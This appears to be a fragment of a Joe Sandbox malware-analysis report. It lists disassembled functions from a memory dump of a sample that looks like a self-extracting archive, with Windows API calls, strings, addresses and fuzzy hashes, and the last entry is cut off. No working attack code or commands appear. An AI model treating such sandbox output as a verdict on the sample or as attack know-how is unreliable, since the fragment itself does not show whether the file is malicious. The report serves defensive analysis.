_free.LIBCMT ref: 00E2DB3D

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: ed90a822092467ab948ce4ab8a4e5ff1fef504289117e408d2aed02f462530fb
Instruction ID: a44d0f00958cd62e65dcc3aa55988af4b6870a49cc16f7e754853fa28c20240e
Opcode Fuzzy Hash: ed90a822092467ab948ce4ab8a4e5ff1fef504289117e408d2aed02f462530fb
Instruction Fuzzy Hash: C61181B1958B24BAD520B7B1EC0BFCB77ECAF14700F441C24B39A76052DB69B5454751

Function 00E1F77A Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 45libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,?,?,00E1F7F5,00E1F758,00E1F9F9), ref: 00E1F791
GetProcAddress.KERNEL32(00000000,AcquireSRWLockExclusive), ref: 00E1F7A7
GetProcAddress.KERNEL32(00000000,ReleaseSRWLockExclusive), ref: 00E1F7BC

Strings

AcquireSRWLockExclusive, xrefs: 00E1F7A1
ReleaseSRWLockExclusive, xrefs: 00E1F7B1
KERNEL32.DLL, xrefs: 00E1F78C

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: AcquireSRWLockExclusive$KERNEL32.DLL$ReleaseSRWLockExclusive
API String ID: 667068680-1718035505
Opcode ID: 3f834c93e43923978d8bf62e19a001a94c3c128212776265dd3e791a5898e6ef
Instruction ID: a758e8afe5fc660cf98ede5847eb41f894bbdfe6ea22afb0011f5d5439938f70
Opcode Fuzzy Hash: 3f834c93e43923978d8bf62e19a001a94c3c128212776265dd3e791a5898e6ef
Instruction Fuzzy Hash: 90F0C2713613226F9B214F796CE95F72A989B01399324243BEA15F31D1D650CCC99AE1

Function 00E12799 Relevance: 9.1, APIs: 6, Instructions: 98timeCOMMON

Download Yara Rule

APIs

SystemTimeToFileTime.KERNEL32(?,?), ref: 00E127F1

Part of subcall function 00E0C619: GetVersionExW.KERNEL32(?), ref: 00E0C63E

LocalFileTimeToFileTime.KERNEL32(?,?), ref: 00E12815
FileTimeToSystemTime.KERNEL32(?,?), ref: 00E1282F
TzSpecificLocalTimeToSystemTime.KERNEL32(00000000,?,?), ref: 00E12842
SystemTimeToFileTime.KERNEL32(?,?), ref: 00E12852
SystemTimeToFileTime.KERNEL32(?,?), ref: 00E12862

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: Time$File$System$Local$SpecificVersion
String ID:
API String ID: 2092733347-0
Opcode ID: 3bfa08b0c80d93e929be80aa01af2401d2dd12635db1fcd3b34e18075b776021
Instruction ID: 4a3fe9555e3e3e78e81c0b575caf5bd4d578c0568eef32eee9617fea7e6311db
Opcode Fuzzy Hash: 3bfa08b0c80d93e929be80aa01af2401d2dd12635db1fcd3b34e18075b776021
Instruction Fuzzy Hash: B6311975108309AFC704DFA9D88499BBBE8FF98714F005A1EF999D3250E730E548CBA6

Function 00E23C8A Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00E23C81,00E23A3C,00E20BF4), ref: 00E23C98
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00E23CA6
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00E23CBF
SetLastError.KERNEL32(00000000,00E23C81,00E23A3C,00E20BF4), ref: 00E23D11

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 109de6b56eb5aba61f6133dd7ad58448e23d0e426daccf832b1411d82e81b7c3
Instruction ID: d3dc335ffb1e9173447ef57ed93af62efdd9bb9b96d5cfbd600c3bcc2505600a
Opcode Fuzzy Hash: 109de6b56eb5aba61f6133dd7ad58448e23d0e426daccf832b1411d82e81b7c3
Instruction Fuzzy Hash: DA0124762183325EA72436767C8A62B2B84FF02738F20223AF210750E1EE651C055E91

Function 00E2A515 Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,00E43070,00E25982,00E43070,?,?,00E25281,00000050,?,00E43070,00000200), ref: 00E2A519
_free.LIBCMT ref: 00E2A54C
_free.LIBCMT ref: 00E2A574
SetLastError.KERNEL32(00000000,?,00E43070,00000200), ref: 00E2A581
SetLastError.KERNEL32(00000000,?,00E43070,00000200), ref: 00E2A58D
_abort.LIBCMT ref: 00E2A593

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: ErrorLast$_free$_abort
String ID:
API String ID: 3160817290-0
Opcode ID: 6930656c8f93c63766bbc2d19a1ad00f3a40fcb85ba6f4ed32261a143fb9f49b
Instruction ID: 5bef177a94d08e2642a09aeead75a316d18d6485a979e5602b4c973328faf0ff
Opcode Fuzzy Hash: 6930656c8f93c63766bbc2d19a1ad00f3a40fcb85ba6f4ed32261a143fb9f49b
Instruction Fuzzy Hash: 51F0F975180520ABC20673257C0AE1F2BA69BC1B64B2C2134F614B31D1EF358D454413

Function 00E1ED8B Relevance: 9.0, APIs: 6, Instructions: 42windowsynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,0000000A), ref: 00E1ED97
PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00E1EDB1
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00E1EDC2
TranslateMessage.USER32(?), ref: 00E1EDCC
DispatchMessageW.USER32(?), ref: 00E1EDD6
WaitForSingleObject.KERNEL32(?,0000000A), ref: 00E1EDE1

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: Message$ObjectSingleWait$DispatchPeekTranslate
String ID:
API String ID: 2148572870-0
Opcode ID: 5d8012b1cf0c8b6b920711ebaa1b06ae3c284daddfe28350c82f89d2cf697d41
Instruction ID: 5e91bb30ddc854a7c75dea633d8f5492a751d4131fae4dd0fe32d63674b2904a
Opcode Fuzzy Hash: 5d8012b1cf0c8b6b920711ebaa1b06ae3c284daddfe28350c82f89d2cf697d41
Instruction Fuzzy Hash: 0DF03C72A01519BBCB206BA2EC4CDCF7E6CEF81391F108021FA0AF2050D674D589CBE0

Function 00E0D4D2 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 148COMMON

Download Yara Rule

APIs

Part of subcall function 00E11907: _wcslen.LIBCMT ref: 00E1190D

Part of subcall function 00E0CD5C: _wcsrchr.LIBVCRUNTIME ref: 00E0CD73

_wcslen.LIBCMT ref: 00E0D5A4
_wcslen.LIBCMT ref: 00E0D5EC

Strings

.rar, xrefs: 00E0D4EE, 00E0D541
.sfx, xrefs: 00E0D527
.exe, xrefs: 00E0D518

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: _wcslen$_wcsrchr
String ID: .exe$.rar$.sfx
API String ID: 3513545583-31770016
Opcode ID: cce3b167cf3c8dac715bb27ae56c0aa2259a35424a42f6abdf02dc51be7c56ea
Instruction ID: 04fc04be4259976a957f1cc877e53c8c2db17e3c7df4ba0b56b2e60dcdf616bc
Opcode Fuzzy Hash: cce3b167cf3c8dac715bb27ae56c0aa2259a35424a42f6abdf02dc51be7c56ea
Instruction Fuzzy Hash: 0F412122508321D9C732ABF48C42ABBB7A8EF8171CB14250EFC927B1C1E7619DC1C396

Function 00E1DFCC Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000800,?), ref: 00E1DFE2

Part of subcall function 00E0CAA0: _wcslen.LIBCMT ref: 00E0CAA6

_swprintf.LIBCMT ref: 00E1E016

Part of subcall function 00E04A20: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00E04A33

SetDlgItemTextW.USER32(?,00000066,00E52892), ref: 00E1E036
EndDialog.USER32(?,00000001), ref: 00E1E143

Strings

%s%s%u, xrefs: 00E1E00B

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: DialogItemPathTempText__vswprintf_c_l_swprintf_wcslen
String ID: %s%s%u
API String ID: 110358324-1360425832
Opcode ID: d38e6aa1593d6e8ec41b00b4771087d2c0b8150510950e2c00bd97535bd7adad
Instruction ID: 8cea7a5dda4bb160e370ae669bce5c241ecabfd7249cd8b579fb71d865dbafeb
Opcode Fuzzy Hash: d38e6aa1593d6e8ec41b00b4771087d2c0b8150510950e2c00bd97535bd7adad
Instruction Fuzzy Hash: 3F415C71900218AADF25DBA0DC45EEE77FDEB08345F4094A6FA09B7191EF709A84CF61

Function 00E0CF32 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 127COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00E0CF56
GetCurrentDirectoryW.KERNEL32(000007FF,?,?,?,?,00000000,?,?,00E0B505,?,?,00000800,?,?,00E0B4CA,?), ref: 00E0CFF4
_wcslen.LIBCMT ref: 00E0D06A

Strings

\\?\, xrefs: 00E0CF81, 00E0CFC8, 00E0D026, 00E0D07D
UNC, xrefs: 00E0CFD6

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: _wcslen$CurrentDirectory
String ID: UNC$\\?\
API String ID: 3341907918-253988292
Opcode ID: 6c81e70668609c8f3c6e66c35f0343b45231f9e8140bf6e3e94344f47adaacda
Instruction ID: d0e186669e955d6dd585c083b286444f02cdc3571c0d52a44d7f9c4e5ae8788d
Opcode Fuzzy Hash: 6c81e70668609c8f3c6e66c35f0343b45231f9e8140bf6e3e94344f47adaacda
Instruction Fuzzy Hash: EA41E472508219AADF21AFA0CC01EEE77EAEF85360F206065F858B30C1D770D9D1CB52

Function 00E1C8CD Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 58windowCOMMON

Download Yara Rule

APIs

LoadBitmapW.USER32(00000065), ref: 00E1C8DD
GetObjectW.GDI32(00000000,00000018,?), ref: 00E1C902
DeleteObject.GDI32(00000000), ref: 00E1C934
DeleteObject.GDI32(00000000), ref: 00E1C957

Part of subcall function 00E1B6D2: FindResourceW.KERNELBASE(?,PNG,00000000,?,?,?,00E1C92D,00000066), ref: 00E1B6E5
Part of subcall function 00E1B6D2: SizeofResource.KERNEL32(00000000,?,?,?,00E1C92D,00000066), ref: 00E1B6FC
Part of subcall function 00E1B6D2: LoadResource.KERNEL32(00000000,?,?,?,00E1C92D,00000066), ref: 00E1B713
Part of subcall function 00E1B6D2: LockResource.KERNEL32(00000000,?,?,?,00E1C92D,00000066), ref: 00E1B722
Part of subcall function 00E1B6D2: GlobalAlloc.KERNELBASE(00000002,00000000,?,?,?,?,?,00E1C92D,00000066), ref: 00E1B73D
Part of subcall function 00E1B6D2: GlobalLock.KERNEL32(00000000), ref: 00E1B74E
Part of subcall function 00E1B6D2: CreateStreamOnHGlobal.COMBASE(00000000,00000000,?), ref: 00E1B772
Part of subcall function 00E1B6D2: GdipCreateHBITMAPFromBitmap.GDIPLUS(?,?,00FFFFFF), ref: 00E1B7B7
Part of subcall function 00E1B6D2: GlobalUnlock.KERNEL32(00000000), ref: 00E1B7D6
Part of subcall function 00E1B6D2: GlobalFree.KERNEL32(00000000), ref: 00E1B7DD

Strings

], xrefs: 00E1C90A

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: Global$Resource$Object$BitmapCreateDeleteLoadLock$AllocFindFreeFromGdipSizeofStreamUnlock
String ID: ]
API String ID: 1797374341-3352871620
Opcode ID: 301387ce91f49718b94d70790bb669c03620a6124237469d89cc3e3ea0150dd2
Instruction ID: 2bf18e4f5cdd195bcd35131217ea978035eea1e4d30982bc8e7dee233bd25770
Opcode Fuzzy Hash: 301387ce91f49718b94d70790bb669c03620a6124237469d89cc3e3ea0150dd2
Instruction Fuzzy Hash: A701F9365406156BC71137759C05AFF7ABA9FC1BA5F241114F800F7292DF71CC8A96A0

Function 00E1E750 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

Part of subcall function 00E012F6: GetDlgItem.USER32(00000000,00003021), ref: 00E0133A
Part of subcall function 00E012F6: SetWindowTextW.USER32(00000000,00E345F4), ref: 00E01350

EndDialog.USER32(?,00000001), ref: 00E1E79B
GetDlgItemTextW.USER32(?,00000068,00000800), ref: 00E1E7B1
SetDlgItemTextW.USER32(?,00000066,?), ref: 00E1E7C5
SetDlgItemTextW.USER32(?,00000068), ref: 00E1E7D4

Strings

RENAMEDLG, xrefs: 00E1E768

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: ItemText$DialogWindow
String ID: RENAMEDLG
API String ID: 445417207-3299779563
Opcode ID: b56eca8049f89474a6d0b88eae866915333f4d78baf0dfee65da7a002ca1f0a7
Instruction ID: 08cdb3108b1bb9336212669e049c041dffdc9bbc5884f59998bc90f4cb3e8318
Opcode Fuzzy Hash: b56eca8049f89474a6d0b88eae866915333f4d78baf0dfee65da7a002ca1f0a7
Instruction Fuzzy Hash: EA01F133385710BEF2215B65AC49FEB7B5DFB4A741F040416F602B61D0C6E298488B65

Function 00E29235 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,00E291E6,00000000,?,00E29186,00000000,00E3D570,0000000C,00E292DD,00000000,00000002), ref: 00E29255
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00E29268
FreeLibrary.KERNEL32(00000000,?,?,?,00E291E6,00000000,?,00E29186,00000000,00E3D570,0000000C,00E292DD,00000000,00000002), ref: 00E2928B

Strings

CorExitProcess, xrefs: 00E29260
mscoree.dll, xrefs: 00E2924E

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 14acdf2228c5bc6e70c490ae4200160209ea19f64a3e59f3a62343e5455eeffc
Instruction ID: 5b4427e100535c59618b1cf4aa88492560e50f56827e7798a70b8872a4d51be4
Opcode Fuzzy Hash: 14acdf2228c5bc6e70c490ae4200160209ea19f64a3e59f3a62343e5455eeffc
Instruction Fuzzy Hash: 3CF0AF71A0022CBFDB159BA6EC0DB9EBFB4EB04715F001168F905B21B1CB346E44CA90

Function 00E012F6 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 00E0F608: _swprintf.LIBCMT ref: 00E0F62E
Part of subcall function 00E0F608: _strlen.LIBCMT ref: 00E0F64F
Part of subcall function 00E0F608: SetDlgItemTextW.USER32(?,00E40274,?), ref: 00E0F6AF
Part of subcall function 00E0F608: GetWindowRect.USER32(?,?), ref: 00E0F6E9
Part of subcall function 00E0F608: GetClientRect.USER32(?,?), ref: 00E0F6F5

GetDlgItem.USER32(00000000,00003021), ref: 00E0133A
SetWindowTextW.USER32(00000000,00E345F4), ref: 00E01350

Strings

0, xrefs: 00E012F9
p0, xrefs: 00E0135B
p0, xrefs: 00E0130B

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: ItemRectTextWindow$Client_strlen_swprintf
String ID: 0$p0$p0
API String ID: 2622349952-3488057893
Opcode ID: 2c89d815b415899951e4b05d5bcfd142bafd2237549a8b657eb05daed8bef980
Instruction ID: 1cd4d38b6cccaa1f2d3c1946d278732cecb93509074cf0ee69c93fd36afb1094
Opcode Fuzzy Hash: 2c89d815b415899951e4b05d5bcfd142bafd2237549a8b657eb05daed8bef980
Instruction Fuzzy Hash: 72F04F31104B49ABDF255F619C0DBEA3B98BF053C9F05A1A4FC44798E1CBB9C9D4EA50

Function 00E10627 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00E11B3B: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00E11B56
Part of subcall function 00E11B3B: LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,00E1063A,Crypt32.dll,00000000,00E106B4,00000200,?,00E10697,00000000,00000000,?), ref: 00E11B78

GetProcAddress.KERNEL32(00000000,CryptProtectMemory), ref: 00E10646
GetProcAddress.KERNEL32(00E4A1F0,CryptUnprotectMemory), ref: 00E10656

Strings

Crypt32.dll, xrefs: 00E10630
CryptProtectMemory, xrefs: 00E10640
CryptUnprotectMemory, xrefs: 00E1064C

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: AddressProc$DirectoryLibraryLoadSystem
String ID: Crypt32.dll$CryptProtectMemory$CryptUnprotectMemory
API String ID: 2141747552-1753850145
Opcode ID: efde9dd6dc177604562ff20ce8d297627c98ea3a1d671c5766e723bff6b0a4f9
Instruction ID: faaa317e9fd096a72bd80f9fc0c453ecd0781b8abaa3d12f798fd93f8f466303
